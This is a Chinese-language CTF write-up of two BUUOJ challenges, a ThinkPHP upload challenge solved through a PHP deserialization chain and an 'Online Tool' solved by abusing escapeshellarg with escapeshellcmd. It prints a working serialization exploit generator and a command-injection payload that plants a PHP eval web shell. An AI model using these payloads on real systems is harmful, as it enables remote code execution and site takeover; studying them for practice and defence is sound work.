buuoj日记-6

BUUCTF 2018 Online Tool, 强网杯 2019 Upload

强网杯 2019 Upload

分析:

先扫一扫,有源码泄漏,www.tar.gz,下载下来就行代码审计,可以看出是一个thinkphp5.1.35的框架,但是好像没啥用,也不能用框架的反序列化payload打。

先进行测试吧,先是注册以后登陆可以上传图片,上传图片马。

image-20200217142427813

可得上传到了这个位置,测试以后发现无论上传什么,最后的后缀名都是png,这样就无法利用了。

进行代码审计。

主要核心的就是这三个文件

image-20200217142622092

先看Index,

image-20200217142647322

Index中,有一个检查登陆,会在cookie中寻找user然后进行处理,这里的cookie我们是可以控制的,所以这里可以是一个可利用的反序列化,然后就是寻找可用的类了。

先找__destruct方法或者__wakeup方法

Register中找到了

image-20200217142913489

然后去寻找有没有可用的index方法或者__call方法,这里并没有可利用的index,但在Profile中找到了可用的__call方法。

image-20200217143109630

那就要找一下Profile中可以命令执行或者文件读写的代码方法了,没有很明显,但是在upload_img中看到了这样的代码。

image-20200217143239062

这里的filename_tmpfilename都是简单可控的,这样的话我们就能把上传的文件重新命名为后缀名为php的了。

这里的要求是$this -> ext不为空,随便给赋个值就行了。现在的任务就是要通过__call调用upload_img方法。

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

这里的$name返回值是index,所以访问的是this->index但是Profile中并没有这个属性,所以触发了__get方法,我们要掉用的是$this->{$this->{$name}}也就是我们要把$this->{$this->{$name}}的返回值弄成upload——img那这里我们可以这样设置

1
2
$this -> except['index'] = 'img';
$this -> img = 'upload_img';

$this->{$name}的结果是img

$this- >img就是upload_img,就成功执行了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
namespace app\web\controller;

use think\Controller;

class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

function __construct(){
$this -> filename_tmp = '../public/upload/2c67ca1eaeadbdc1868d67003072b481/f47454d1d3644127f42070181a8b9afc.png';
$this -> filename = '../public/upload/2c67ca1eaeadbdc1868d67003072b481/yds.php';

$this -> except['index'] = 'img';
$this -> img = 'upload_img';
$this -> ext = 'png';
}
}

namespace app\web\controller;

class Register
{
public $checker;
public $registed;

function __construct(){
$this -> checker = new Profile();
$this -> registed = false;
}
}
echo urlencode(base64_encode(serialize(new Register())));

wow

image-20200217144152952

image-20200217144140481

BUUCTF 2018 Online Tool

这个题有的一说,源码很简单

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

分析

其实一眼就能看出来是escapeshellargescapeshellcmd配合起来使用造成的问题。

image-20200217144629684

image-20200217144621113

我直接上payload,按照payload来分析

1
http://76e181c3-5c0b-4f78-9a76-9787a4e87243.node3.buuoj.cn/?host=' <?php @eval($_GET[cmd]);?> -oG yds.php '

image-20200217145050808

我们来分析一下为啥

image-20200217145507694

如果我们传入的是简单的<?php @eval($_GET[cmd]);?>

最后结果在命令行中的体现是

image-20200217150200096

可以看到所有的特殊符号在执行命令中都被转义了,就无法达到效果

然后我们传入题目中payload

image-20200217145242729

然后在命令行中可以看到,可以成功的作为木马执行

image-20200217150620042

因为转义符号的意义就是在双引号或者单引号中对特殊字符进行转移,如果不在引号中,转义字符就没有意义了

image-20200217150923786

然后我们来分析payload生成的过程

image-20200217145242729

1
$b =>  '' + \' + '<?php @eval($_GET[cmd]);?> -oG yds.php ' + \' + ''

两个单引号被转义之后就只是简单字符了,这里的单引号是成对的,这样的字符串拼接在命令行是允许的

image-20200217151329274

然而在后面又使用了escapeshellcmd函数,那就变成了

1
$c => '' + \\ + '' + \<\?php @eval\(\$_GET\[cmd\]\;\?\> -oG yds.php + '\\' + ''

此时的这个木马并不在引号中,所以转义符号也就没有意义了。

所以本题的核心其实就是把这个木马,当他在命令行中,我们把他脱离引号。